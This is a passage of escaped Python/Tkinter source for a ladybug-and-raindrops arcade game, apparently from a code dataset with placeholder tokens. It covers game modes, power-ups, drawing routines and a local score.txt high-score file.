powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\ndef helpKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\n<function token>\n\n\ndef helpTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\ndef run(width=15000, height=25000):\n\n def redrawAllWrapper(canvas, data):\n canvas.delete(ALL)\n redrawAll(canvas, data)\n canvas.update()\n\n def mousePressedWrapper(event, canvas, data):\n mousePressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def keyPressedWrapper(event, canvas, data):\n keyPressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def timerFiredWrapper(canvas, data):\n timerFired(data)\n redrawAllWrapper(canvas, data)\n canvas.after(data.timerDelay, timerFiredWrapper, canvas, data)\n\n\n class Struct(object):\n pass\n data = Struct()\n data.width = width\n data.height = height\n data.timerDelay = 100\n root = Tk()\n init(data)\n canvas = Canvas(root, width=data.width, height=data.height)\n canvas.pack()\n root.bind('<Button-1>', lambda event: mousePressedWrapper(event, canvas,\n data))\n root.bind('<Key>', lambda event: keyPressedWrapper(event, canvas, data))\n timerFiredWrapper(canvas, data)\n root.mainloop()\n print('bye!')\n\n\n<code token>\n", "<import token>\n\n\ndef init(data):\n data.score = 0\n data.mode = 'splashScreen'\n data.timerDelay = 100\n data.height = 800\n data.width = 800\n data.speed = 10\n data.speedAI = 12\n data.speedAI2 = 12\n data.switchOnProgress = False\n data.r = 25\n data.cx = 280\n data.cy = 750\n data.onLeft1, data.onLeft2 = True, True\n data.win = False\n data.coconuts = []\n data.powerUps = []\n data.coconuts1 = []\n data.coconuts2 = []\n data.coconutsAI1 = []\n data.coconutsAI2 = []\n data.invincible = []\n data.pauseDrops = False\n data.pause1Drop = False\n data.pause2Drop = False\n init1(data)\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\ndef mousePressed(event, data):\n if data.mode == 'splashScreen':\n splashScreenMousePressed(event, data)\n elif data.mode == '1Player':\n playerMousePressed(event, data)\n elif data.mode == '2Player':\n twoPlayerMousePressed(event, data)\n elif data.mode == 'editor':\n editorMousePressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedMousePressed(event, data)\n elif data.mode == 'AI':\n AIMousePressed(event, data)\n elif data.mode == 'difficulty':\n difficultyMousePressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardMousePressed(event, data)\n elif data.mode == 'help':\n helpMousePressed(event, data)\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\ndef splashScreenMousePressed(event, data):\n if (data.splashButtonY - 2 * data.r <= event.x <= data.splashButtonY + \n 2 * data.r):\n if data.p1ButtonX - data.r <= event.y <= data.p1ButtonX + data.r:\n data.mode = '1Player'\n if data.p2ButtonX - data.r <= event.y <= data.p2ButtonX + data.r:\n data.mode = '2Player'\n if data.edButton - data.r <= event.y <= data.edButton + data.r:\n data.mode = 'editor'\n if data.diffButton - data.r <= event.y <= data.diffButton + data.r:\n data.mode = 'difficulty'\n if data.helpButton - data.r <= event.y <= data.helpButton + data.r:\n data.mode = 'help'\n if data.sboardButton - data.r <= event.y <= data.sboardButton + data.r:\n data.mode = 'scoreboard'\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\ndef splashScreenRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.splashText - 10, image=data.title)\n for drop in data.splashScreenDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.splashText, text=\n \"\"\"\n 1.) Single Player Level Mode\n\n\n 2.) Two-Player Mode\n\n \n 3.) Level Creator Practice Mode\n\n \n 4.) Play Against the Computer\n\n \n 5.) Help and Instructions\n\n \n 6.) Scoreboard\n\n \n \"\"\"\n , font='Arial 14 bold', fill='yellow')\n splashScreenButtons(canvas, data)\n\n\ndef writeFile(path, contents):\n with open(path, 'wt') as f:\n f.write(contents)\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n\n\ndef hit2Player(data):\n if data.mode == '2Player':\n if data.Invincible1 == False:\n for coconut in data.coconuts1:\n if (coconut.y >= data.player1Y - data.r and coconut.y <= \n data.player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <=\n data.player1X + data.r):\n data.player1Y += data.hitPenalty\n data.coconuts1.remove(coconut)\n if data.Invincible2 == False:\n for coconut in data.coconuts2:\n if (coconut.y >= data.player2Y - data.r and coconut.y <= \n data.player2Y + data.r):\n if (coconut.x >= data.player2X - data.r and coconut.x <=\n data.player2X + data.r):\n data.player2Y += data.hitPenalty\n data.coconuts2.remove(coconut)\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\ndef checkHome(event, data):\n if data.homeY - data.r <= event.y <= data.homeY + data.r:\n if data.homeX - data.r <= event.x <= data.homeX + data.r:\n init(data)\n\n\ndef coconutShot(data):\n if data.level > 0 and data.pauseDrops == False:\n if data.time % int(data.levelMax / data.level\n ) == 0 or data.time % 6 == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(data.Player1Max + data.buffer, data\n .width + data.buffer)\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n xPosition4 = random.randint(data.Player1Min - data.buffer, data\n .Player1Max + data.buffer)\n data.coconuts.append(Coconuts(xPosition4, 0))\n if data.time % 5 == 0:\n xPosition3 = random.randint(0, data.Player1Min - data.buffer)\n data.coconuts.append(Coconuts(xPosition3, 0))\n if data.time % int(24 / data.level) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(data.Player1Min, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(data.Player1Max, 0))\n powerUpCoconutShot(data)\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef playerKeyPressed(event, data):\n if data.level < data.levelMax and event.keysym == 'r':\n init(data)\n if event.keysym == 'Left' and data.cx >= data.Player1Min + data.lane / 2:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= data.Player1Max:\n data.cx += data.lane / 2\n if data.level >= data.levelMax:\n if len(event.keysym) == 1:\n if len(data.name) < 15:\n data.name += event.keysym\n if event.keysym == 'BackSpace':\n data.name = data.name[0:-1]\n if event.keysym == 'Return':\n data.scoreList += data.score, data.name\n writeFile('score.txt', data.savedScores + str(data.score) + ',' +\n data.name + '\\n')\n data.mode = 'scoreboard'\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\ndef madeIt(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 70, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n canvas.create_text(data.width / 2, 100, text='Score: %d' % data.score,\n font='Arial 15 bold', fill='yellow')\n canvas.create_text(data.width / 2, 375, text=\n 'Congrats! Enter your Name!', font='Arial 15 bold', fill='yellow')\n canvas.create_rectangle(data.width / 2 - 50, 400, data.width / 2 + 50, \n 450, fill='white')\n canvas.create_text(data.width / 2, 425, text=data.name)\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\ndef powerupDrop2Player(data):\n if data.time % 45 == 0 and data.time % 90 != 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n if data.time % 60 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 90 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(540, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(755, 750))\n\n\ndef twoPlayerKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'a' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player1X = 150\n if event.keysym == 'd' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player1X = 330\n if event.keysym == 'Left' and data.onLeft2 == False:\n data.onLeft2 = True\n data.player2X = 550\n if event.keysym == 'Right' and data.onLeft2 == True:\n data.onLeft2 = False\n data.player2X = 750\n\n\ndef twoPlayerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef twoPlayerTimerFired(data):\n if data.winner == None:\n data.player1Y -= data.speed\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n drop2Player(data)\n data.player2Y -= data.speed\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n drop2Player(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n powerupTimerFired(data)\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef editorKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 